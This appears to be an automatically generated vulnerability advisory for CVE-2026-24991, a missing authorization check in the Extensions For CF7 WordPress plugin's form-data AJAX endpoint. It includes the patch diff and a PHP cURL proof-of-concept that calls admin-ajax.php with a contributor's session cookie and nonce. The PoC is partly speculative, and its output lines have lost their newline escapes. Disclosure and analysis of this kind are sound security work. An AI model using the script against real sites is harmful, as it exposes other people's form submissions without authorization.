Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24991: Extensions For CF7 <= 3.4.0 – Authenticated (Contributor+) Insecure Direct Object Reference (extensions-for-cf7)

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 3.4.0
Patched Version 3.4.1
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24991:
The Extensions For CF7 WordPress plugin contains an Insecure Direct Object Reference (IDOR) vulnerability in versions up to and including 3.4.0. The vulnerability exists in an AJAX endpoint that handles form data viewing. It allows authenticated users with Contributor-level permissions or higher to perform unauthorized actions due to a missing capability check.

Atomic Edge research identifies the root cause in the `htcf7ext_view_formdata_cb` function within the file `/extensions-for-cf7/includes/class-ajax-actions.php`. Before the patch, the function only verified the AJAX nonce via `check_ajax_referer`. The function did not validate if the current user possesses the required administrative capability to perform the action. This missing authorization check allowed lower-privileged users to pass the nonce verification and trigger the callback.

An attacker can exploit this vulnerability by sending a POST request to the WordPress `admin-ajax.php` endpoint. The request must include the action parameter set to `htcf7ext_view_formdata` and a valid nonce. The nonce is typically available to Contributor-level users within the plugin’s admin interface. The payload triggers the vulnerable callback function, allowing unauthorized access to form data or other actions handled by the function.

The patch adds a capability check before processing the request. The fix inserts a conditional statement that calls `current_user_can( ‘manage_options’ )`. If the check fails, the function sends a JSON error with a 403 status code. This change restricts the endpoint to users with administrator privileges only, aligning the authorization with the intended functionality. The version number was also updated from 3.4.0 to 3.4.1.

Successful exploitation could allow authenticated attackers with Contributor-level access to view or manipulate form submission data they are not authorized to access. This constitutes a data exposure issue. Depending on the full functionality of the `htcf7ext_view_formdata_cb` function, the impact could extend to unauthorized data deletion or modification, leading to a loss of data integrity.

Differential between vulnerable and patched code

Code Diff
--- a/extensions-for-cf7/extensions-for-cf7.php
+++ b/extensions-for-cf7/extensions-for-cf7.php
@@ -4,7 +4,7 @@
  * Description: Valuable Extensions for Contact Form 7.
  * Author: 		HasThemes
  * Author URI: 	https://hasthemes.com/
- * Version: 	3.4.0
+ * Version: 	3.4.1
  * Text Domain: cf7-extensions
  * Domain Path: /languages
 */
@@ -14,7 +14,7 @@
 define( 'CF7_EXTENTIONS_PL_URL', plugins_url( '/', CF7_EXTENTIONS_PL_ROOT ) );
 define( 'CF7_EXTENTIONS_PL_PATH', plugin_dir_path( CF7_EXTENTIONS_PL_ROOT ) );
 define( 'CF7_EXTENTIONS_PL_BASE', plugin_basename( CF7_EXTENTIONS_PL_ROOT ) );
-define( 'CF7_EXTENTIONS_PL_VERSION', '3.4.0' );
+define( 'CF7_EXTENTIONS_PL_VERSION', '3.4.1' );

 /**
  * CF7 Form Data list render interface
--- a/extensions-for-cf7/includes/class-ajax-actions.php
+++ b/extensions-for-cf7/includes/class-ajax-actions.php
@@ -34,6 +34,12 @@
     public function htcf7ext_view_formdata_cb(){
         // Verify nonce
         check_ajax_referer( 'htcf7ext_nonce', 'nonce' );
+
+        // Verify user capability
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'Unauthorized access.', 'cf7-extensions' ) ), 403 );
+        }
+
         $html = '';

         ob_start();

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24991 - Extensions For CF7 <= 3.4.0 - Authenticated (Contributor+) Insecure Direct Object Reference

<?php
// Configuration
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$nonce = 'VALID_NONCE_HERE'; // Replace with a nonce obtained from a Contributor session.
$cookie = 'wordpress_logged_in_abc123'; // Replace with a valid Contributor session cookie.

// Build the POST data for the vulnerable AJAX action.
$post_fields = [
    'action' => 'htcf7ext_view_formdata', // The vulnerable AJAX hook.
    'nonce' => $nonce // The nonce parameter required by check_ajax_referer.
    // Additional parameters required by the callback may be needed.
];

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'Cookie: ' . $cookie // Authenticate as a Contributor.
]);

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result.
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// A successful exploitation attempt before patching would return a 200 OK status
// and likely contain form data or a success message in the JSON response.
?>

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